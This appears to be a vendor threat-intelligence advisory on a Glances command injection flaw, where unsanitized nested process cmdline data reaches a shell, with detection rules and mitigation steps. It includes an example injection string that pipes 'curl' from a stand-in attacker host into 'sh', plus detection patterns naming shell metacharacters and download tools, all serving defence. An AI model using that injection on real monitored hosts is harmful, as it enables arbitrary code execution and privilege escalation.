CVE-2026-62982

Executive Summary

CVE-2026-62982 is a high-severity OS command injection vulnerability (CWE-78) in Glances, an open-source cross-platform system monitoring tool, affecting versions 4.5.2 through 4.5.5. The flaw allows pipe characters in nested, attacker-influenceable data — such as process cmdline values — to bypass the _sanitize_mustache_dict() sanitizer, survive template rendering via chevron.render(), and be interpreted by secure_popen() when administrator-configured action templates execute. A low-privileged local attacker who can launch processes on a monitored host can therefore achieve arbitrary command execution in the context of the Glances process, with the NVD description stating the issue is fixed in version 4.5.6.

Technical Analysis

Glances is a Python-based monitoring agent that collects host telemetry — CPU, memory, disk, network, and detailed per-process information including command-line arguments — and exposes it through a terminal UI, a REST API, and a web interface. A documented operational feature is the "actions" mechanism: administrators define templates that instruct Glances to run external commands when specified monitored conditions are met. These commands are executed through secure_popen(), the controlled process-spawning path used for the action subsystem.

The vulnerability resides in the data-sanitization stage of the template-rendering pipeline. Before monitoring data is substituted into an action template, _sanitize_mustache_dict() in glances/actions.py is responsible for removing dangerous shell metacharacters from the values that will be interpolated into the template — most importantly the pipe character (|), which the shell interprets as a command-chaining operator. The described flaw is that sanitization is not performed recursively: nested list and dictionary structures are skipped entirely. Process cmdline values are a concrete example of nested data, since Glances represents a process's arguments as a list of strings. A process launched with an argument such as arg|curl http://attacker.example/x|sh will therefore have that pipe-laden string preserved verbatim through the sanitizer, because the enclosing list is not traversed.

During the next action-template execution cycle, chevron.render() substitutes the unsanitized value into the administrator-defined template. When the fully rendered command string is passed to secure_popen(), the command is executed through the shell (consistent with the CWE-78 classification). The shell parses the embedded pipe as a command separator and executes the attacker-supplied suffix as an independent command stream in the Glances process's security context.

The root cause is an input-validation boundary mismatch: the sanitizer assumes a flat dictionary of scalar strings, while the data model it protects is heterogeneous and deeply nested. The security control (metacharacter stripping) is applied at the wrong layer and with the wrong traversal semantics for the actual data shape. This is a classic "sanitize-where-read versus sanitize-where-used" defect.

The attack surface comprises any Glances 4.5.2–4.5.5 deployment where an administrator has configured action templates that reference nested monitored data; the NVD description names process cmdline values as the concrete example. On a multi-user host, any local user can create a process with an arbitrary command line, which Glances ingests as monitoring data that later flows into the vulnerable template pipeline. No elevated privileges are required beyond the ability to run processes, which is reflected in the CVSS vector: local attack vector (AV:L), low privileges required (PR:L), no user interaction (UI:N), scope change (S:C), and high impact on confidentiality, integrity, and availability (C:H/I:H/A:H) — base score 8.8 (High).

No public PoC, exploit code, Nuclei template, or CISA KEV listing was identified in the provided intelligence data, and FIRST.org has not yet assigned an EPSS score.

Exploitation Scenarios

The attack chain below is derived strictly from the NVD description and the CWE-78 vulnerability class. No public PoC was available; the chain is inferred from the described mechanism.

1. Reconnaissance / target identification: The attacker is a local user on a system running Glances 4.5.2 – 4.5.5. They determine whether the administrator has enabled action templates and whether those templates consume process command-line data. This can be done by inspecting readable configuration files, observing Glances behavior, or simply attempting the trigger and observing side effects. Because the attacker can already execute processes, they can also enumerate which monitored attributes the agent ingests.

2. Triggering the flaw class: The attacker launches a process whose command-line argument contains shell metacharacters — for example, a pipe character followed by shell commands. Glances ingests this cmdline into its monitoring data model. Because the cmdline is represented as a nested list, _sanitize_mustache_dict() skips it during sanitization, and the pipe survives chevron.render() when the administrator's action template is next executed (on a schedule or when the configured threshold condition is met).

3. Payload / execution method: The fully rendered command string is passed to secure_popen(), which launches it through the shell. The shell interprets the pipe as a command separator and executes the attacker's appended command stream in the security context of the Glances process. This is OS command injection (CWE-78) achieved via the data plane: the payload is not the template itself but the untrusted monitored data substituted into the template.

4. Post-exploitation impact: Injected commands run with the privileges of the Glances agent. If Glances runs as root — a common configuration for a system monitor that must read process and network telemetry — the attacker achieves full local privilege escalation: persistence, credential theft, exfiltration of sensitive local files, disruption of the host's availability, and lateral movement from the compromised account. Even when Glances runs with least privilege, command execution provides a stable foothold with access to the agent's credentials, API keys, and the internal network surface. The monitoring pipeline itself is also compromised, as Glances would continue to report attacker-influenced process data, potentially masking the intrusion.

An indirect network-adjacent scenario exists if the Glances web/REST interface is left exposed and reachable by an attacker who can influence monitored data (for example, by uploading files whose names are parsed into monitored attributes, or by triggering actions via the web UI). The default and most realistic path, however, is local exploitation by an unprivileged user.

Impact Assessment

The CVSS 3.1 base score is 8.8 (High). The vector CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H indicates that the attack is locally exploitable, requires low privileges and no user interaction, and has low complexity. The scope is changed (S:C): the vulnerable component is the Glances monitoring agent, but the impact extends beyond its security boundary to the underlying host operating system, because the injected commands execute outside the monitoring software's own trust domain. All three security objectives are rated high — confidentiality (C:H), integrity (I:H), and availability (A:H).

Affected systems include every Glances installation from 4.5.2 up to, but excluding, 4.5.6 that uses administrator-configured action templates referencing nested data such as process cmdline values. This is particularly relevant to enterprise observability deployments, DevOps agents on shared build runners, container hosts, and multi-tenant servers, where Glances is often run with elevated privileges to collect complete telemetry — maximizing the post-exploitation blast radius. The blast radius also extends to downstream systems accessible from the monitoring account, including any services for which the Glances process holds credentials or network access.

The absence of a public exploit and the lack of a CISA KEV listing reduce the likelihood of immediate mass exploitation, but the low complexity and modest preconditions make this a realistic target for penetration testers and an attractive vector in shared or multi-tenant environments. EPSS has not yet scored this CVE; analysts should re-evaluate priority when an EPSS value is published.

Detection Guidance

Because exploitation manifests as the Glances agent spawning a shell with metacharacter-laden arguments, detection should center on process-creation telemetry, auditd logs, and EDR parent/child relationships. The rules below detect the observable effects of the vulnerability — anomalous child processes spawned by the Glances process — as well as network-level attempts against the web interface when the agent is exposed.

Sigma Rule

title: Glances Action Template Command Injection - Suspicious Child Process
id: 9e4b1c2a-7f3d-4d6b-9c1a-2b8d4e6f0a1c
status: experimental
description: >
  Detects the Glances monitoring agent spawning a child process whose command
  line contains shell metacharacters, consistent with CVE-2026-62982 command
  injection via unsanitized nested data in administrator-configured action
  templates.
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-62982
author: Valters IT Threat Intelligence
date: 2026/05/27
tags:
    - attack.execution
    - attack.t1059
    - cve.2026.62982
logsource:
    category: process_creation
    product: linux
detection:
    selection_parent:
        ParentImage|endswith:
            - /glances
            - /glances.py
    selection_metachars:
        CommandLine|contains:
            - '|'
            - ';'
            - '&&'
            - '||'
            - '`'
            - '$(('
    condition: selection_parent and selection_metachars
falsepositives:
    - Legitimate administrator-configured action templates that intentionally invoke shell pipelines.
level: high

YARA Rule

rule CVE_2026_62982_Glances_Unsanitized_Mustache
{
    meta:
        author = "Valters IT Threat Intelligence"
        description = "Flags Glances source files exhibiting the vulnerable pipeline: _sanitize_mustache_dict() co-located with chevron rendering and secure_popen invocation in the actions module. Useful for scanning Glances installations and container images for potentially vulnerable versions."
        cve = "CVE-2026-62982"
        date = "2026-05-27"
        severity = "high"

    strings:
        $s1 = "_sanitize_mustache_dict" ascii
        $s2 = "chevron" ascii
        $s3 = "secure_popen" ascii
        $a1 = "actions.py" ascii

    condition:
        all of ($s1, $s2, $s3) and $a1
}

Suricata IDS Rule

alert http any any -> $HOME_NET 61208 ( \
  msg:"CVE-2026-62982 Glances action template command injection attempt (web interface)"; \
  flow:to_server,established; \
  content:"POST"; http_method; \
  pcre:"/(\||\x3b|\x26\x26|\x60|\$\(|;)/i"; \
  pcre:"/(sh|bash|csh|zsh|powershell|cmd|curl|wget)/i"; \
  classtype:attempted-admin; \
  reference:cve,2026-62982; \
  sid:20266298; rev:1;)

Note: the primary exploitation path is local (child process creation) and may generate no network traffic. This signature is a best-effort network heuristic for deployments where the Glances web API (commonly exposed on TCP 61208) is used to trigger actions remotely; analysts should tune $HOME_NET and validate against their environment.

Elastic Detection

// Detect command execution spawned by the Glances agent
process where process.parent.name in ("glances", "glances.py") and
  (
    process.command_line : "*|*" or
    process.command_line : "*;*" or
    process.command_line : "*&&*" or
    process.command_line : "*`*" or
    process.command_line : "*$(*"
  ) and
  process.name in ("sh", "bash", "dash", "zsh", "csh", "python", "perl", "curl", "wget")

Splunk SPL Query

index=* (sourcetype="linux_audit" OR sourcetype="auditd" OR sourcetype="ProcessRollup2")
| where (like(lower(parent_process), "%glances%") OR like(lower(ParentProcessName), "%glances%"))
| where (like(cmdline, "%|%") OR like(command, "%|%") OR like(process, "%|%") OR like(cmdline, "%;%"))
| table _time, host, user, parent_process, cmdline, process
| eval alert = "CVE-2026-62982: Glances spawned a suspicious shell process"
| sort - _time

Wazuh OSSEC Rule

<group name="glances,execution,">
  <rule id="100629" level="12">
    <decoded_as>auditd</decoded_as>
    <field name="comm" type="pcre2">^glances(\.py)?$</field>
    <field name="process" type="pcre2">(^|/)(sh|bash|dash|zsh|python|perl)( |$)</field>
    <field name="cmd" type="pcre2">\|</field>
    <description>CVE-2026-62982: Glances spawned a shell command containing pipe metacharacters - possible action template command injection.</description>
    <group>local_policy</group>
  </rule>
</group>

Note: Wazuh field names depend on the active auditd decoder; if comm does not map to the executable name in your environment, adjust to exe and validate the rule against a staging host.

Mitigation & Patch Guidance

Patch confidence: 0/4 — UNPATCHED — no patch evidence from any tracked source in the provided intelligence data. The NVD description states the issue is fixed in Glances 4.5.6; until an official release note or patch analysis is independently confirmed, treat the fix as unverified and apply the mitigations below.

1. Immediate mitigations:

   • Upgrade to Glances 4.5.6 or later as soon as validation confirms the upstream fix corresponds to this CVE. If 4.5.6 is not yet available in your distribution channel, prioritize an interim build.
   • Audit and, where possible, disable administrator-configured action templates that reference nested monitored structures — especially process cmdline values — until the fix is applied.
   • Run the Glances agent with the least privilege required (dedicated unprivileged account) rather than root. This converts a potential root-level compromise into a limited-user compromise.
   • Restrict access to the Glances REST/web interface and disable remote triggering of actions; firewall the web UI port (commonly 61208) to authorized administrative hosts.
   • Review existing action template definitions for unquoted variable interpolation; treat all monitored data as untrusted input and apply strict allow-listing of permitted commands.

2. Patch / upgrade steps:

   • Validate the 4.5.6 release artifact (checksum, signature) against the official Glances distribution channel and confirm the release notes reference CVE-2026-62982.
   • Deploy to a staging host running a simulated multi-user workload with crafted process cmdlines; verify that pipe characters are no longer executed and that _sanitize_mustache_dict() now recurses into nested lists and dictionaries.
   • Roll out to production following standard change management, then confirm the agent reports the new version in its telemetry.

3. Long-term hardening:

   • Enable process-creation monitoring (auditd, EDR) on all Glances hosts so any child process spawned by the agent generates an alert.
   • Enforce a policy of running consumers of untrusted process data without root; consider containerization with seccomp/AppArmor for the Glances agent.
   • Monitor FIRST.org EPSS and the CISA KEV catalog; if this CVE is added to KEV, treat unpatched instances as potentially compromised and prioritize incident response.
   • Subscribe to the Glances project's security advisory feed and review future sanitizer changes for correct recursive traversal of nested data structures.

References

1. NVD — CVE-2026-62982 Detail: https://nvd.nist.gov/vuln/detail/CVE-2026-62982
2. MITRE CWE-78 — Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'): https://cwe.mitre.org/data/definitions/78.html
3. Glances project (upstream) — release notes and source for the 4.5.6 fix: verify via the official project repository (github.com/nicolargo/glances). No direct advisory URL was provided in the intelligence data; confirm the advisory through NVD or the vendor's release feed.
4. CISA Known Exploited Vulnerabilities catalog — CVE-2026-62982 is NOT currently listed as of the report date.
5. MITRE ATT&CK — T1059 Command and Scripting Interpreter: https://attack.mitre.org/techniques/T1059/

Threat-actor / in-the-wild evidence: none identified in the provided intelligence data. No public PoC, exploit code, Nuclei template, or CISA KEV entry is known at the time of writing.